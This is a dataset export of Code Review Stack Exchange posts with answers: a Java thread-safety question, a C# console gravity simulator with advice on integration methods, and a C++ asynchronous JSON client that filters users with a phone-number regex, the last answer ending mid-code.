body
stringlengths
25
86.7k
comments
list
answers
list
meta_data
dict
question_id
stringlengths
1
6
<p>I'm not quite sure I understood thread-safe correctly. I built the following registry:</p> <pre><code>@Service public final class EntityDefinitionRegistry { private static final Logger logger = LogManager.getLogger(EntityDefinitionRegistry.class); private final HashMap&lt;String, EntityDefinition&gt; definitions = new HashMap&lt;&gt;(); @Autowired public EntityDefinitionRegistry() { Set&lt;EntityDefinition&gt; definitions = EntityDefinitionWrapperLoader.getDefinitions(); } public @NotNull EntityDefinition getDefinition(@NotNull String entityName) { if (StringUtils.isBlank(entityName)) { throw new InternalErrorException(); } EntityDefinition definition = definitions.get(entityName); if (definition == null) { throw new InternalErrorException(); } return definition; } } </code></pre> <p>This is initialized in the constructor and never changed again. The same is true for the contained objects. Their fields never change.</p> <pre><code>public final class EntityDefinition { private static final Logger logger = LogManager.getLogger(EntityDefinition.class); @NonNull private final String name; @NotNull private final String packageName; private final boolean cached; private final boolean abstraction; private final InheritanceStrategy inheritanceStrategy; @Setter(AccessLevel.PACKAGE) private EntityDefinition superEntity; private final CopyOnWriteArraySet&lt;EntityDefinition&gt; subEntities = new CopyOnWriteArraySet&lt;&gt;(); private final CopyOnWriteArraySet&lt;EntityField&gt; entityFields; private final CopyOnWriteArraySet&lt;EntityField&gt; dtoFields; private final CopyOnWriteArraySet&lt;EntityRelationField&gt; relationFields; </code></pre> <p>Have I understood correctly that the final specification and therefore only read accesses are always thread-safe?</p> <ul> <li>I'm using Java 13.</li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T02:17:47.197", "Id": "452160", "Score": "2", "body": "I looked in to answering this question, but it turns out this is untested code that does not work. The class has a `private final` delcaration for `definitions` that initializes it with an **empty** HashMap, but the constructor shadows `definitions` with an incompatible HashSet that has values. As a consequence, the `getDefinition` will never get a non-null `definition` and will always throw an `InternalErrorException`. The code does not work." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-02T21:35:46.897", "Id": "231755", "Score": "2", "Tags": [ "java", "thread-safety" ], "Title": "Loading Entity definitions safely" }
231755
<p>After a relative hiatus of around two years, I've decided to start delving back into the programming world; to start, I've appropriated one of my older projects, <a href="https://codereview.stackexchange.com/questions/166712/cligl-a-library-for-command-line-graphics">CLIGL</a>, and have made a solar system simulator that runs exclusively within a console interface.</p> <p>There are several classes of importance, whose purposes and functions should be highlighted before the presentation of the code itself:</p> <ul> <li><code>Body</code>: this class is responsible for storing the rendering and physics properties of a gravitational body, performing numerical integration of the position and velocity properties (via <code>IntegratePosition</code> and <code>IntegrateVelocity</code>), and rendering the body itself. </li> <li><code>BodySystem</code>: this class is responsible for maintaining a list of gravitational bodies and simulating them properly; it will also render each body by calling their <code>Render</code> methods. Additionally, it will also render a set of physics properties for each simulated body in the top left corner of the console window.</li> <li><code>EntryPoint</code>: fairly self-explanatory; this class contains the initialization for and the main loop of the simulation, as well as a few constants. It also contains two helper methods for generating a decorative field of stars in the background.</li> </ul> <p><strong>EntryPoint.cs</strong></p> <pre><code>using System; using System.Diagnostics; using System.Collections.Generic; using CLIGL; namespace GravitySimulator { /// &lt;summary&gt; /// Class containing the program entry point, several constants/statics, and several /// helper functions which have no other place. /// &lt;/summary&gt; public class EntryPoint { public const int WINDOW_WIDTH = 159; public const int WINDOW_HEIGHT = 60; public static (bool, char)[] STAR_FIELD = new (bool, char)[WINDOW_WIDTH * WINDOW_HEIGHT]; /// &lt;summary&gt; /// Randomly populate the star field with boolean values; false indicates no star, whereas /// true indicates that a star is present. A character value will also be randomly generated. /// &lt;/summary&gt; /// &lt;param name="chanceOfStar"&gt;The chance that a star will be generated, from 0-100.&lt;/param&gt; /// &lt;param name="starTypes"&gt;The different types of stars.&lt;/param&gt; public static void PopulateStarField(float chanceOfStar, char[] starTypes) { Random randomGenerator = new Random(); for(int i = 0; i &lt; WINDOW_WIDTH * WINDOW_HEIGHT; i++) { STAR_FIELD[i] = ( randomGenerator.Next(0, 100) &lt;= chanceOfStar, starTypes[randomGenerator.Next(0, starTypes.Length)] ); } } /// &lt;summary&gt; /// Render the previously-generated random star field. /// &lt;/summary&gt; /// &lt;param name="buffer"&gt;The buffer to which the star field is to be rendered.&lt;/param&gt; public static void RenderStarField(ref RenderingBuffer buffer) { for(int i = 0; i &lt; WINDOW_WIDTH * WINDOW_HEIGHT; i++) { if(STAR_FIELD[i].Item1) { buffer.SetPixel(i, new RenderingPixel(STAR_FIELD[i].Item2, ConsoleColor.DarkGray, ConsoleColor.Black)); } } } /// &lt;summary&gt; /// Application entry point. /// &lt;/summary&gt; /// &lt;param name="args"&gt;Command line arguments.&lt;/param&gt; public static void Main(string[] args) { RenderingWindow window = new RenderingWindow("Gravity Simulator", WINDOW_WIDTH, WINDOW_HEIGHT); RenderingBuffer buffer = new RenderingBuffer(WINDOW_WIDTH, WINDOW_HEIGHT); Stopwatch timeAccumulator = new Stopwatch(); timeAccumulator.Start(); float oldTime = (float)timeAccumulator.Elapsed.TotalSeconds; float newTime; float dt; PopulateStarField(1, new char[] { '.', ',', '`', '\'' }); BodySystem system = new BodySystem( new List&lt;Body&gt;() { new Body("Star", '@', ConsoleColor.Yellow, ConsoleColor.Red, 10000, 0, 0, 0, 0), new Body("Planet 1", '@', ConsoleColor.Gray, ConsoleColor.DarkGray, 10, 20, 0, 0, 35), new Body("Planet 2", '@', ConsoleColor.DarkGray, ConsoleColor.Gray, 10, -30, 0, 0, -25), new Body("Planet 3", '@', ConsoleColor.White, ConsoleColor.Gray, 10, -50, 0, 0, -15) } ); while(true) { newTime = (float)timeAccumulator.Elapsed.TotalSeconds; dt = newTime - oldTime; buffer.ClearPixelBuffer(RenderingPixel.EmptyPixel); RenderStarField(ref buffer); buffer.SetString(0, 0, $"DT :: {dt}", ConsoleColor.White, ConsoleColor.Black); system.RenderBodies(ref buffer); window.Render(buffer); system.SimulateBodies(dt); oldTime = newTime; } } } } </code></pre> <p><strong>Body.cs</strong></p> <pre><code>using System; using CLIGL; namespace GravitySimulator { /// &lt;summary&gt; /// Contains position, velocity, and rendering information pertaining to a gravitational body, /// simulated by the System class. /// &lt;/summary&gt; public class Body { public const float G = 0.1f; public string Name { get; set; } public char Character { get; set; } public ConsoleColor ForegroundColor { get; set; } public ConsoleColor BackgroundColor { get; set; } public float Mass { get; set; } public float X { get; set; } public float Y { get; set; } public float Vx { get; set; } public float Vy { get; set; } public float Ax { get; set; } public float Ay { get; set; } /// &lt;summary&gt; /// Constructor for the Body class. /// &lt;/summary&gt; /// &lt;param name="name"&gt;The name of the body.&lt;/param&gt; /// &lt;param name="character"&gt;The rendering character for the body.&lt;/param&gt; /// &lt;param name="foregroundColor"&gt;The foreground color of the body.&lt;/param&gt; /// &lt;param name="backgroundColor"&gt;The background color of the body.&lt;/param&gt; /// &lt;param name="mass"&gt;The mass of the body.&lt;/param&gt; /// &lt;param name="x"&gt;The initial X position of the body.&lt;/param&gt; /// &lt;param name="y"&gt;The initial Y position of the body.&lt;/param&gt; /// &lt;param name="vx"&gt;The initial X velocity of the body.&lt;/param&gt; /// &lt;param name="vy"&gt;The initial Y velocity of the body.&lt;/param&gt; public Body( string name, char character, ConsoleColor foregroundColor, ConsoleColor backgroundColor, float mass, float x, float y, float vx, float vy ) { this.Name = name; this.Character = character; this.ForegroundColor = foregroundColor; this.BackgroundColor = backgroundColor; this.Mass = mass; this.X = x; this.Y = y; this.Vx = vx; this.Vy = vy; this.Ax = 0.0f; this.Ay = 0.0f; } /// &lt;summary&gt; /// Integrate the position of the Body; this is done by adding the current velocities, /// Vx and Vy, to the current positions, X and Y. /// &lt;/summary&gt; /// &lt;param name="dt"&gt;The amount of time since the last frame, delta time.&lt;/param&gt; public void IntegratePosition(float dt) { this.X += this.Vx * dt; this.Y += this.Vy * dt; } /// &lt;summary&gt; /// Integrate the velocity of the Body; this is done by calculating the attractive force /// between the current body and a provided body, then deriving the accelerations, and then /// adding the derived accelerations to the current velocities. /// &lt;/summary&gt; /// &lt;param name="otherBody"&gt;The body to which attraction is calculated.&lt;/param&gt; /// &lt;param name="dt"&gt;The amount of time since the last frame, delta time.&lt;/param&gt; public void IntegrateVelocity(Body otherBody, float dt) { float distance = this.DistanceBetween(otherBody); float directionX = (otherBody.X - this.X) / distance; float directionY = (otherBody.Y - this.Y) / distance; float attractiveForce = (G * this.Mass * otherBody.Mass) / distance; float acceleration = attractiveForce / this.Mass; float aX = acceleration * directionX; float aY = acceleration * directionY; this.Ax = aX; this.Ay = aY; this.Vx += this.Ax * dt; this.Vy += this.Ay * dt; } /// &lt;summary&gt; /// Find the distance between the current body and another body. /// &lt;/summary&gt; /// &lt;param name="otherBody"&gt;The other body.&lt;/param&gt; /// &lt;returns&gt;A distance value.&lt;/returns&gt; public float DistanceBetween(Body otherBody) { return (float)Math.Sqrt( Math.Pow(otherBody.X - this.X, 2) + Math.Pow(otherBody.Y - this.Y, 2) ); } /// &lt;summary&gt; /// Render the body to a provided buffer. /// &lt;/summary&gt; /// &lt;remarks&gt;This will render the body relative to the center of the buffer, not the top left corner.&lt;/remarks&gt; /// &lt;param name="buffer"&gt;The buffer to which the body is rendered.&lt;/param&gt; /// &lt;param name="renderName"&gt;Whether or not to render the name of the body.&lt;/param&gt; public void Render(ref RenderingBuffer buffer, bool renderName = false) { int roundedX = (int)Math.Round(buffer.BufferWidth / 2.0f + this.X); int roundedY = (int)Math.Round(buffer.BufferHeight / 2.0f + this.Y); buffer.SetPixel(roundedX, roundedY, new RenderingPixel(this.Character, this.ForegroundColor, this.BackgroundColor)); if(renderName) { buffer.SetString(roundedX + 1, roundedY, this.Name, this.BackgroundColor, ConsoleColor.Black); } } } } </code></pre> <p><strong>BodySystem.cs</strong></p> <pre><code>using System; using System.Collections.Generic; using CLIGL; namespace GravitySimulator { /// &lt;summary&gt; /// This class is responsible for simulating a system of bodies. /// &lt;/summary&gt; public class BodySystem { public List&lt;Body&gt; Bodies { get; set; } /// &lt;summary&gt; /// Constructor for the BodySystem class. /// &lt;/summary&gt; /// &lt;param name="bodies"&gt;A list of bodies to simulate.&lt;/param&gt; public BodySystem(List&lt;Body&gt; bodies) { this.Bodies = bodies; } /// &lt;summary&gt; /// Simulate the bodies. /// &lt;/summary&gt; /// &lt;param name="dt"&gt;The amount of time since the last frame, delta time.&lt;/param&gt; public void SimulateBodies(float dt) { foreach(Body body in this.Bodies) { body.IntegratePosition(dt); } foreach(Body otherBody in this.Bodies) { foreach(Body body in this.Bodies) { if(body.Name == otherBody.Name) { continue; } body.IntegrateVelocity(otherBody, dt); } } } /// &lt;summary&gt; /// Render all the simulated bodies. /// &lt;/summary&gt; /// &lt;param name="buffer"&gt;The buffer to which to render.&lt;/param&gt; public void RenderBodies(ref RenderingBuffer buffer) { foreach(Body body in this.Bodies) { body.Render(ref buffer, true); } int offset = 1; foreach(Body body in this.Bodies) { buffer.SetString( 0, offset, $"{body.Name} :: " + $"P(x,y) = {body.X.ToString("F1")},{body.Y.ToString("F1")} :: " + $"V(x,y) = {body.Vx.ToString("F1")},{body.Vy.ToString("F1")} :: " + $"A(x,y) = {body.Ax.ToString("F2")},{body.Ay.ToString("F2")}", ConsoleColor.White, ConsoleColor.Black ); offset++; } } } } </code></pre> <p>I am not as concerned with the correctness of my code <em>prima facie</em> (although suggestions for improvements in this regard would be appreciated nonetheless); rather, I am more concerned with the correctness of my implementation of the physics of gravitation, and any issues that may be present in it.</p> <p>A few side notes:</p> <ul> <li>This project links a previous project of mine, <a href="https://github.com/Ethan-Bierlein/CLIGL" rel="noreferrer">CLIGL</a>; if you wish to test out this simulator, you will need to download and compile CLIGL to a <code>.DLL</code> and link it accordingly.</li> <li>I <em>highly</em> recommend that, should you wish to test this project for yourself, that you set the font of your console window to a raster font with a size of <code>12x16</code>.</li> <li>For those who may not wish to go to the effort of downloading and compiling CLIGL and this project, I have uploaded two videos demonstrating the simulator: <a href="https://youtu.be/R3Kybj0yYuo" rel="noreferrer">one without labels</a> and <a href="https://youtu.be/U-Lp4j2kwfw" rel="noreferrer">one with labels</a>.</li> <li>Finally, I am well aware that the value of the gravitational constant <span class="math-container">\$G\$</span> is <span class="math-container">\$6.67408\times10^{-11}\$</span> and not <span class="math-container">\$0.5\$</span>, as I have implemented it here; using the correct value of <span class="math-container">\$G\$</span> results in a simulation that runs <em>far</em> too slow to appreciate.</li> </ul>
[]
[ { "body": "<h2>Gravitational Constant</h2>\n<p>In your description you mention the gravitational constant is 0.5 for performance reasons, in the code it is actually 0.1.</p>\n<h2>This Pointer</h2>\n<p>There are times when the <code>this</code> pointer is necessary, but it is not necessary in the code under review (<code>EntryPoint.cs</code>, <code>Body.cs</code> and <code>BodySystem.cs</code>).</p>\n<h2>Variable Names</h2>\n<p>To some extent this is personal preference, but the 2 letter variable names are generally not descriptive enough. I can see x and y as positions, but I don't necessarily understand <code>dt</code> (deltaTime), <code>Vx</code>, <code>Vy</code> (?velocity?), <code>Ax</code>, <code>Ay</code> (?acceleration?), <code>G</code> (?gravitational constant?). Variable names should be descriptive so that comments aren't necessary.</p>\n<h2>Comments</h2>\n<p>The <code>param</code> comments for <code>name</code>, <code>mass</code>, <code>foregroundColor</code> and <code>backgroundColor</code> aren't necessary, the other <code>param</code> comments would not be necessary if better variable names were used. Keep in mind the more comments there are the more the text in the source code needs to change when maintenance is performed. By using self documenting code and only commenting important algorithm information, edits to comments are kept to a minimum.</p>\n<h2>Private Versus Public</h2>\n<p>There is at least one function in Body (<code>float DistanceBetween(Body otherBody)</code>) that could be private rather than public.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T20:30:23.370", "Id": "452427", "Score": "1", "body": "With regards to the terse variable names, my rationale was simply to follow the existing conventions of physics notation (I was conflicted on the issue of their brevity though, for what it's worth). Regarding comments, I 100% agree; I've always had somewhat of an obsessive tendency to over-comment. I very much appreciate the answer!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-02-13T23:17:16.807", "Id": "465178", "Score": "0", "body": "In the context of physics it's ok to have short variable names, as long as these variables are understandable without any additional context. Ideally there should be a comment near those variable names that explains the names. Linking to the Wikipedia article about gravity should be enough." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:49:04.013", "Id": "231842", "ParentId": "231758", "Score": "2" } }, { "body": "<blockquote>\n <p>Finally, I am well aware that the value of the gravitational constant is 6.67408×10−11 and not 0.5, as I have implemented it here; using the correct value of results in a simulation that runs far too slow to appreciate.</p>\n</blockquote>\n\n<p>It is strange to me that you chose to change the gravitational constant rather than simply choosing a different time step; can you say more about why this seemed like the right thing to do? (Bonus points for justifications via references to ST:TNG.)</p>\n\n<blockquote>\n <p>I am more concerned with the correctness of my implementation of the physics of gravitation, and any issues that may be present in it.</p>\n</blockquote>\n\n<p>You are right to be concerned. Your approach is where everyone starts, but it is <strong>not accurate</strong>.</p>\n\n<p>First off, the obvious way in which it is inaccurate is that you're doing Newtonian dynamics but that does not reflect reality. The orbit of Mercury was noticeably \"wrong\", for example, until Einstein determined that identical clocks run at a different rate when orbiting closer to the Sun than the Earth. But let's assume that you do not wish to model factors due to general relativity and stick to the world as it was known to Newton.</p>\n\n<p>So let's just consider your method here, which as I mentioned is the naive way of numerically simulating n bodies:</p>\n\n<ul>\n<li>Start with known positions and velocities for all bodies</li>\n<li>Compute forces from positions</li>\n<li>Compute accelerations from forces</li>\n<li>Positions update based on velocities</li>\n<li>Velocities update based on accelerations</li>\n<li>Step forward one time unit</li>\n<li>Repeat</li>\n</ul>\n\n<p>FYI this is a variation of <em>Euler's Method</em>.</p>\n\n<p>This is a good first approximation, but it has many problems starting with <em>it is not conservative</em>. That is, it is possible that the system has <em>more energy</em> or <em>less energy</em> after each step than the previous step, which is not physically plausible. But the real problem is that if you ever get into a situation where energy is being consistently added over several subsequent steps, you can end up with a runaway scenario where a body gets violently flung away from the system at high speed.</p>\n\n<p>Learning how to adapt your method to a more physically accurate simulation will take you very deep indeed into the study of numerical methods, so I recommend getting a good book on the subject. But here are some thoughts to get you going:</p>\n\n<ul>\n<li><p>You have the same time step for every particle, and I assume, the same timestep for each step. This is potentially very bad. The faster a particle is moving (or accelerating), the <em>smaller</em> its timestep should be to help avoid unphysicalities showing up in the simulation. Slow the timestep down when particles are moving fast, or even better, have every particle keep track of its own timestep which gets shorter the faster it goes. Coming up with a good data structure to do the computations in the right order when every particle has a changing time step is a great exercise.</p></li>\n<li><p>You can be more clever about computing the change in position and velocity than simply getting the acceleration at a point in time. Suppose for example you have the position and velocity of a particle at time t. You compute the acceleration based on the state at t and from that you compute the <em>increment</em> to the state that gets you a new state at t + dt. That's what you're doing now. But here's the trick. Now suppose you compute the equivalent increment by doing <em>two steps of dt/2</em>. That increment will be different, and both will be wrong, but if you are clever about it then you can <em>average</em> the increments and be <em>much closer</em> to the accurate solution. This is the <em>Runga-Kutta method</em>; I wrote an RK4-5 solver to solve differential equations when I was in university and it is quite straightforward code to write.</p></li>\n</ul>\n\n<p>That will get you started I hope. If you are interested in going deeper down this rabbit hole, this is a good overview of where to go next:</p>\n\n<p><a href=\"http://www.scholarpedia.org/article/N-body_simulations\" rel=\"noreferrer\">http://www.scholarpedia.org/article/N-body_simulations</a></p>\n\n<hr>\n\n<p>One other thing I just thought of. I assume that in your graphics system you have the ability to position the camera at an arbitrary position and orientation. It would be an interesting test of your system to model three bodies: the Sun, Jupiter, and a Trojan near but not at L4, then put the camera focus on Jupiter and watch the Trojan \"orbit\" the stable L4 point.</p>\n\n<p>Alternatively, put the camera on the sun and rotate the camera at the same rate as Jupiter moves; that would look like this: <a href=\"http://sajri.astronomy.cz/asteroidgroups/hitrfix.gif\" rel=\"noreferrer\">http://sajri.astronomy.cz/asteroidgroups/hitrfix.gif</a></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-02-13T22:29:29.713", "Id": "465173", "Score": "0", "body": "Op I hope you who Eric is... I would look at what he says." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T19:49:24.323", "Id": "232277", "ParentId": "231758", "Score": "7" } } ]
{ "AcceptedAnswerId": "231842", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-02T23:54:52.863", "Id": "231758", "Score": "6", "Tags": [ "c#", "console", "graphics", "physics" ], "Title": "Simulating a Solar System Using Command-Line Graphics" }
231758
<p><strong>Update:</strong> see also <a href="https://codereview.stackexchange.com/questions/231784/finding-the-5-youngest-users-who-have-valid-us-telephone-numbers-try-2">version 2</a></p> <hr> <h2>The Service</h2> <p>This code uses two API's.</p> <h3>List</h3> <pre><code> https://LokiAstari.com/sample/list https://LokiAstari.com/sample/list?token=&lt;continuation Token&gt; </code></pre> <p>This API returns a JSON object. The first version starts a list and will return an array of user ID (not all of them). The second version takes a token that was provided in a previous result and returns the next set of user ID's continuing from the previous location. If all users have been returned then the token is null.</p> <pre><code> { result: [ &lt;List of User ID&gt; ], token: "&lt;token&gt;" or null } </code></pre> <h3>Detail</h3> <pre><code> https://LokiAstari.com/sample/detail/&lt;User-ID&gt; </code></pre> <p>This returns a JSON object with details of the user specified by the ID.</p> <pre><code>{ "id": &lt;User ID: Number&gt;, "name": "&lt;User Name: String&gt;", "age": &lt;User Age: Number&gt;, "number": "&lt;User Tel Number: String&gt;", "photo": "&lt;User Image: URL(String)&gt;", "bio": "&lt;User Bio: String&gt;" } </code></pre> <h2>Notes:</h2> <p>It uses two of my other Libraries to make stuff simpler:</p> <h3>ThorsSerializer</h3> <p>Used to serialize JSON to/from C++ objects.</p> <h3>ThorsStream</h3> <p>Used to wrap CURL handle so that it looks like a std::istream.</p> <p>Internally it uses MCURL handle to handle multiple CURL handles simultaneously with a single thread. A thread that reads from a stream that has an empty buffer will be released to do other work until there is data available in the buffer at which point that stream will become re-used.</p> <h2>What the app does:</h2> <p>The code finds the 5 youngest users who have valid US telephone numbers. It sorts the 5 Users by name and prints out the result.</p> <p>A valid US telephone number is defined as:</p> <pre><code>&lt;3 Digits&gt;&lt;Sep&gt;&lt;3 Digits&gt;&lt;Sep&gt;&lt;4 Digits&gt; Digit: 0-9 Sep: &lt;space&gt; or - </code></pre> <h2>Code</h2> <pre><code>#include &lt;iostream&gt; #include &lt;future&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;memory&gt; #include &lt;algorithm&gt; #include &lt;regex&gt; #include &lt;mutex&gt; #include "ThorSerialize/Traits.h" #include "ThorSerialize/SerUtil.h" #include "ThorSerialize/JsonThor.h" #include "ThorsStream/ThorsStream.h" using namespace std::string_literals; // Some global constants. const std::string api = "https://LokiAstari.com/sample"s; const std::string apiList = api + "/list"s; const std::string apiDetail = api + "/detail/"s; const std::regex phoneNumber("^[0-9][0-9][0-9][- ][0-9][0-9][0-9][- ][0-9][0-9][0-9][0-9]$"); // In this app List and User // are simply property bags no nead to have access functions. // If this was a more complex app then we would consider having other methods. struct List { std::vector&lt;int&gt; result; std::unique_ptr&lt;std::string&gt; token; }; struct User { int id; std::string name; int age; std::string number; std::string photo; std::string bio; }; // Set up comparison functions used on user. const auto youngestUser = [](User const&amp; lhs, User const&amp; rhs){return lhs.age &lt; rhs.age;}; const auto nameTest = [](User const&amp; lhs, User const&amp; rhs){return lhs.name &lt; rhs.name;}; // Set up List and User to be read from JSON stream. // See: jsonImport() and jsonExport() below ThorsAnvil_MakeTrait(List, result, token); ThorsAnvil_MakeTrait(User, id, name, age, number, photo, bio); // A generic Job. // Simply reads an object from an istream. // If the read worked then processes it. // Note: An istream treats a CURL socket like a standard C++ stream. template&lt;typename T&gt; class Job { ThorsAnvil::Stream::IThorStream istream; public: Job(std::string const&amp; url) : istream(url) {} virtual ~Job() {} void run(std::vector&lt;User&gt;&amp; result) { using ThorsAnvil::Serialize::jsonImport; T data; if (istream &gt;&gt; jsonImport(data)) { processesData(result, data); } else { // Do some error handling } } virtual void processesData(std::vector&lt;User&gt;&amp; result, T const&amp; data) = 0; }; // A job to handle the details from getting a user object. class UserJob: public Job&lt;User&gt; { public: using Job&lt;User&gt;::Job; virtual void processesData(std::vector&lt;User&gt;&amp; users, User const&amp; user) override { // Check if the phone number is OK. if (std::regex_search(user.number, phoneNumber)) { // Mutex shared across all objects (notice the static). static std::mutex mutex; // Lock the mutex when modifying "users" std::lock_guard&lt;std::mutex&gt; lock(mutex); // Add the user to a heap. // The heap is ordered by youngest person. users.emplace_back(std::move(user)); std::push_heap(users.begin(), users.end(), youngestUser); if (users.size() == 6) { // If we have more than 5 people the pop the oldest one off. // Thus we maintain a heap of the 5 youngest people. std::pop_heap(users.begin(), users.end(), youngestUser); users.pop_back(); } } } }; // A job to handle the list object. class ListJob: public Job&lt;List&gt; { public: using Job&lt;List&gt;::Job; virtual void processesData(std::vector&lt;User&gt;&amp; users, List const&amp; data) override { if (data.token.get()) { // If we have a continuation token // Then add another job ("ListJob") to the async queue. std::async([&amp;users, job = std::make_unique&lt;ListJob&gt;(apiList + "?token=" + *data.token)](){job-&gt;run(users);}); } for(auto const&amp; userId: data.result) { // For each user add a job ("UserJob") to the async queue. std::async([&amp;users, job = std::make_unique&lt;UserJob&gt;(apiDetail + std::to_string(userId))](){job-&gt;run(users);}); } } }; int main() { std::vector&lt;User&gt; users; std::async([&amp;users, job = std::make_unique&lt;ListJob&gt;(apiList)](){job-&gt;run(users);}); // This will not return until all async jobs have completed. std::sort(users.begin(), users.end(), nameTest); using ThorsAnvil::Serialize::jsonExport; std::cout &lt;&lt; jsonExport(users) &lt;&lt; "\n"; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:14:39.367", "Id": "452209", "Score": "0", "body": "Do valid area codes really start with zero?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:59:16.730", "Id": "452217", "Score": "0", "body": "@pacmaninbw I did not set the definition of a valid phone number. I was just making sure it was explained for this context." } ]
[ { "body": "<blockquote>\n <p>Not really a C++ coder, and certainly not a reviewer, yet I'd be commenting on that phone number expression. </p>\n</blockquote>\n\n<p>I guess we can just do a minor simplification on that expression by adding a single-boundary quantifier,</p>\n\n<pre><code>^[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}$\n</code></pre>\n\n<h3><a href=\"https://regex101.com/r/3E0M8t/1/\" rel=\"nofollow noreferrer\">Demo 1</a></h3>\n\n<p>unless there would have been maybe a reason of some kind (that I wouldn't know), and we are not using the <code>{}</code> quantifier:</p>\n\n<pre><code>^[0-9][0-9][0-9][- ][0-9][0-9][0-9][- ][0-9][0-9][0-9][0-9]$\n</code></pre>\n\n<p>I also like <code>[0-9]</code> better than <code>\\d</code> construct. </p>\n\n<hr>\n\n<p>Here, we are assuming that,</p>\n\n<pre><code>\"123 456-7890\"\n\"123-456 7890\"\n\"000-000 0000\"\n</code></pre>\n\n<p>are valid. In case, those would be considered invalid values, we can likely modify our expression with a back-reference, similar to:</p>\n\n<pre><code>^[0-9]{3}([ -])[0-9]{3}\\1[0-9]{4}$\n</code></pre>\n\n<h3><a href=\"https://regex101.com/r/dDhOQu/1/\" rel=\"nofollow noreferrer\">Demo 2</a></h3>\n\n<p>Or I guess, a simple alternation might suffice here:</p>\n\n<pre><code>^[0-9]{3}(?:-[0-9]{3}-| [0-9]{3} )[0-9]{4}$\n</code></pre>\n\n<h3><a href=\"https://regex101.com/r/pPIuw0/1/\" rel=\"nofollow noreferrer\">Demo 3</a></h3>\n\n<hr>\n\n<p>Another way, which might be much simpler, would be to collect the digits and remove the non-digits, and check upon those digits to see if they'd fulfill our 10-digits validation criteria. </p>\n\n<hr>\n\n<p>Of-course, for the \"real validation\" of those numbers, there should be some APIs, which I guess, that's not what we're trying to do here.</p>\n\n<hr>\n\n<blockquote>\n <p>Overall, your codes look pretty great. </p>\n</blockquote>\n\n<hr>\n\n<p>If you wish to simplify/modify/explore the expression, it's been explained on the top right panel of <a href=\"https://regex101.com/r/sbw1TO/1/\" rel=\"nofollow noreferrer\">regex101.com</a>. If you'd like, you can also watch in <a href=\"https://regex101.com/r/sbw1TO/1/debugger\" rel=\"nofollow noreferrer\">this link</a>, how it would match against some sample inputs.</p>\n\n<hr>\n\n<h3>RegEx Circuit</h3>\n\n<p><a href=\"https://jex.im/regulex/#!flags=&amp;re=%5E(a%7Cb)*%3F%24\" rel=\"nofollow noreferrer\">jex.im</a> visualizes regular expressions: </p>\n\n<p><a href=\"https://i.stack.imgur.com/gGds3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gGds3.png\" alt=\"enter image description here\"></a></p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T01:01:16.643", "Id": "231762", "ParentId": "231760", "Score": "5" } }, { "body": "<p>This is nice code, but I have some suggestions for how it might be improved.</p>\n\n<h2>Use a better data structure</h2>\n\n<p>The use of the <code>heap</code> is not bad and is intuitively a reasonable structure for keeping the five youngest users, but because it's only five entries, I'd suggest that a <code>std::array&lt;User,5&gt;</code> might be better. Even a linear search would require a very few comparisons and the advantage is that it's a fixed size structure.</p>\n\n<h2>Do the cheaper tests first</h2>\n\n<p>Right now, the <code>processesData</code> function compares phone number first and then age. Since the age comparison does not use a regex, I would strongly suspect that it is a less computationally expensive comparison, so it would probably make sense to do that first. Obviously this is somewhat data-dependent, but it's worth thinking about.</p>\n\n<h2>Use <code>regex_match</code> to match a whole string</h2>\n\n<p>The current code is using <code>regex_search</code> which looks for a match anywhere within the string, but the regex itself starts with <code>'^'</code> and ends with <code>'$'</code>, so clearly the intent is to only match the entire string. For that, <code>regex_match</code> is more appropriate than <code>regex_search</code> and you can omit the start and end tokens from the regex.</p>\n\n<h2>Minimize the time a mutex is held</h2>\n\n<p>Right now the code holds a mutex lock even before we know that this will actually alter the underlying structure. That is, we may add a user who is older than the oldest person currently in the heap, only to remove that user again. That's inefficient and holds the lock for longer than the mimimum time. Instead, I'd do something like this:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;regex&gt;\n#include &lt;string&gt;\n#include &lt;array&gt;\n#include &lt;mutex&gt;\n\nconst std::regex phoneNumber(\"[0-9][0-9][0-9][- ][0-9][0-9][0-9][- ][0-9][0-9][0-9][0-9]\");\n\nstruct User {\n std::string phone;\n int age{999}; // start with invalid age\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const User&amp; user) {\n return out &lt;&lt; \"age: \" &lt;&lt; user.age &lt;&lt; \", phone: \" &lt;&lt; user.phone;\n}\n\nconst auto youngestUser = [](User const&amp; lhs, User const&amp; rhs){return lhs.age &lt; rhs.age;};\n\nint main() {\n using namespace std;\n\n vector&lt;User&gt; samples{\n {\"212-123-4567\", 10},\n {\"212-123-4568\", 81},\n {\"212-123-4569\", 18},\n {\"2 2-123-4570\", 99},\n {\"212-123-4571\", 57},\n {\"2 2-123-4572\", 45},\n {\"212-123-4573\", 33},\n {\"212-123-4574\", 21},\n {\"212-123-4575\", 18},\n {\"2 2-123-4576\", 16},\n {\"212-123-4577\", 30},\n {\"2 2-123-4578\", 50},\n {\"212-123-4579\", 77},\n {\"2 2-123-4580\", 23},\n };\n\n array&lt;User, 5&gt; result;\n cout &lt;&lt; \"before:\\n\";\n copy(result.begin(), result.end(), ostream_iterator&lt;User&gt;{cout, \"\\n\"});\n for (const auto&amp; person: samples) {\n if (person.age &lt; result.back().age &amp;&amp; regex_match(person.phone, phoneNumber)) {\n User youngerPerson(person);\n lock_guard&lt;mutex&gt; lock(mutex);\n if (person.age &lt; result.back()) {\n 